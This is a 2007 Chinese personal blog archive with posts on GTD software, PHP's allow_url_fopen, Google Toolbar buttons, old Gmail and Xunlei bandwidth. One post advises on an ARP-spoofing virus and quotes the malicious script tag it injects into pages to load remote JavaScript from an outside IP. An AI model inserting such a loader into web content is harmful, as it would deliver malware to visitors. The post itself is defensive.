Dec 31, 2007

Try out Remember The Milk

刚从假期中缓过劲来,诸多照片随后附上。 :mrgreen:

=============================

今天花了点时间找个适合我自己的GTD软件,一来是发现最近这一年的事情主要是琐事为多,而我那大大的脑袋瓜的短时间记忆能力似乎开始下降了,所以干事效率并不高。平常用的Google Cal似乎功能还不够强大,添加个event就要点好几下鼠标,于是花了点时间找到并学习了这个online GTD(Getting Things Done)软件:

Remember The Milk

它可以完全整合进iGoogle & Gmail & Gcal, 这样,iGoogle+Gmail+Gcal+Milk+Mobile SMS的组合就近乎完美了。无论电脑是否在身边,都知道要处理些什么事情,并且可以对已完成和未完成的进行review。

Post by SUN @ 5:22 pm | 与时俱进 | Comments (2)
Dec 17, 2007

PHP中远程文件的调用-关于Allow url fopen

关键词:Allow url fopen,php

最近发现blog突然出了点小问题,调试后发现是服务器提供商基于安全理由把Allow url fopen这个选项给关了,而我自己写的有一些代码中就用了相应的功能,所以导致了问题的出现,具体错误特征如下:

URL file-access is disabled in the server configuration

打开Allow url fopen的作用主要是在php程序中可以用http或者ftp方式来调用其他文件。如下面的代码:

<?php include("http://example.com/includes/example_include.php"); ?>

而关闭该选项后,使用上面的代码就会出错,必须换成下面的代码方可。

<?php include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php"); ?>

这里,系统变量 $_SERVER['DOCUMENT_ROOT']返回的是远程系统根目录。

其实现在很多服务商都把allow url fopen功能给关了,主要原因是防止黑客的注入式进攻,所以强烈建议用第二种方法来写代码。另外,如果还是想用url方式来写代码的话,可以考虑用curl

我用这个功能主要是实现WordPress的首页静态化。我的blog首页使用了我自己hack过的af-extended-live-archive插件,这样的好处就是可以整个站用ajax方式来访问,但是加载速度就比较一般了。所以我首先生成一个静态的页面(比方说叫example.html),然后在用index.php将example.html中的内容读取出来,实现静态化。

这里大家也许会觉得奇怪,那你把首页直接重定向到example.html不就可以了……
这里我的考量主要是两点:
1. php方式可以对example.html的内容进行压缩。
2. 为了更好的SEO,我在index.php进行了判定,如果来访问的是机器人,我会把正常的页面发给它,而不是显示加载了af-extended-live-archive插件的example.html,方便机器人进行爬行抓取。

Tags:   
Post by SUN @ 10:31 pm | 与时俱进 | Comment (0)
Nov 20, 2007

Customize your Google Toolbar Button

在Google已经成为一个动词的时代,浏览器里的Google Toolbar 是少不了的。但是,Google对中文的支持有时会出现一些问题。比方说我的Google搜索语言设置为English,主要是为了平时使用方便。但是有时需要搜索中文时就会发现得到的匹配结果不是很好。还好Google提供了定制Google Toolbar Button功能来解决多语言搜索的问题:

Google中文搜索按钮

点击上面这个按钮,你就可以把我定制的Google中文搜索按钮添加到你的Google Toolbar中(注意,本按钮搜索的不是那个被河蟹了的Google.cn)。

同样的道理,还可以把下面的Baidu搜索按钮添加到你的Google Toolbar中。这里必须提醒的是有热心网友也在Google的Button Gallery里面提交了Baidu的按钮,但是他们忽略了Baidu和Google的Encoding是不同的,所以安装他们的按钮后得到的中文搜索结果都是乱码。

Baidu搜索按钮

Tags:
Post by SUN @ 10:52 am | 与时俱进 | Comment (1)
Nov 8, 2007

Go back to Gmail's older version

Several days ago, Gmail began to release its newer version. The good news is that it provides minor improvement about Contact and others. The bad news is some Gmail-related extension (e.g. better Gmail) or Greasemonkey script did NOT work. So, I have to go back to older version before better Gmail release new compatible version.

Hmm, Gmail provides a link at the top of right corner to let users go back to the older version ( mail.google.com/mail/?ui=1 ), but the change is not persistent; you will still see the new version when you re-open the Gmail box.

So how to solve this problem? To customize the Gmail button on the Google Toolbar.
Many ppls like to click the gmail button on the Goolge Toolbar to go into their Gmail box including me. So I customize the button:

Click on the Google Toolbar, then choose manage. Then click the Gmail buttons under the submenu of Buttons. Select the "Edit" on the right site as following:

Toolbar

Then click "Use the advanced editor" in the opened window. Find
"<site>  </site>" in the opened window and replace with the following line:

<site>http://mail.google.com/mail/?ui=1</site>

Click "Save to Google Toolbar" to save the customization.

Now your Gmail button is modified to open the older version of Gmail. You will find "better Gmail" work now.

Post by SUN @ 12:02 pm | 与时俱进 | Comment (0)
Aug 22, 2007

ARP 病毒以及解决办法

首先强调下,这个病毒并不是一个新病毒,只是因为最近俺们系的局域网里闹了一次,所以拿出来说说。

现象:

  1. 电脑上网特别慢,甚至无法上网。
  2. 打开网页后查看源代码会发现代码前被加了一小段如下的代码(地址可能不同)。
    <script src=http://66.186.33.44/n.js></script>
  3. 打开一些需要运行javascript的网页只能看到乱码。
  4. 同时多台在C类网段的电脑出现上述之一的情况。
  5. 出现上述任何一条情况都有可能是ARP病毒。

分析:

这是一个典型的ARP病毒。原作者用自以为高明的办法给源代码加了密,其实稍有点计算机知识的人就能破解。具体病毒代码我就不深入分析了,目的就是利用微软的漏洞来偷些用户资料,比方说游戏的用户名和密码什么的。如果说散这个病毒是为了好玩,那么我可怜it,整个一情商低能儿;如果说是为了卖资料换钱,那是犯罪,这种东西连鄙视it都觉得是浪费自己感情。

说远了。其实ARP病毒,就是中毒的电脑会把自己伪装成你所在C类网段的gateway,这样就可以让局域网内其他电脑必须通过它才可以上网,从而截取数据包中的一些信息了。这样会导致其他没中毒电脑的上网速度下降甚至断网等症状。

解决办法:

可以在行命令方式键入命令:“ARP -a”,如果网内有人中毒的话,你就会发现最少有两台电脑的MAC地址是一样的,记录下来,汇报给网管。接下来的任务就是由网管找出被感染的电脑,然后杀之。

作为终端用户,咱们要做的就是开着系统的自动更新功能,微软的东西,不打补丁是很危险的。其次就是一定要安装杀毒软件,做到防患于未然。对于这个病毒来说,一般的杀毒软件都能搞定它。

Tags:
Post by SUN @ 4:28 pm | 与时俱进 | Comments (2)
Jul 31, 2007

致个人网站站长:小心迅雷

迅雷下载是现时非常实用的一款下载软件,速度奇快无比。不过各位个人网站站长在共享自己的资源时候,千万要小心,不要给迅雷盯上,否则后果可能非常严重。下面是我的case:

最近这段时间,我发现我的个人网站浏览速度很慢,而且流量特别异常:
bandwidth

可以看到7月18日以后流量猛增,到29日更达到了每日21.7G的流量,但是同期个人网站访问量却没有质的飞跃。经过仔细分析access log文件后,我发现绝大多数流量来自206类型的访问,换而言之就是不经过页面直接下载文件。其中,一首mp3被下载的次数最多,日下载达到了5800次之多,也就是每分钟就有4个下载,而且这些下载全都没有经过如百度mp3等歌曲搜索引擎。

这样的结果,只有迅雷才能办到。再回想一下并查证了记录,发现当初自己用这首歌来测试过自己网站的下载速度,用的就是迅雷。

于是真相大白,迅雷记录了我网站上这首歌的地址,并且放到的自己的数据库中,所以造成了这样的海量下载结果。找到了问题的症结所在,处理起来也简单了,我把这mp3改了个名字,可以看到,30日,我的网站流量就迅速回复正常了。

所以在这儿,给各位个人站长提个醒,千万不要用迅雷下载自己网站上的文件,尤其是mp3,录像等大型文件 ,否则那后果可能相当的严重。对了,那首吸引了数以万计下载的歌叫做《可不可以不勇敢》

Tags:
Post by SUN @ 10:00 pm | 与时俱进 | Comments (4)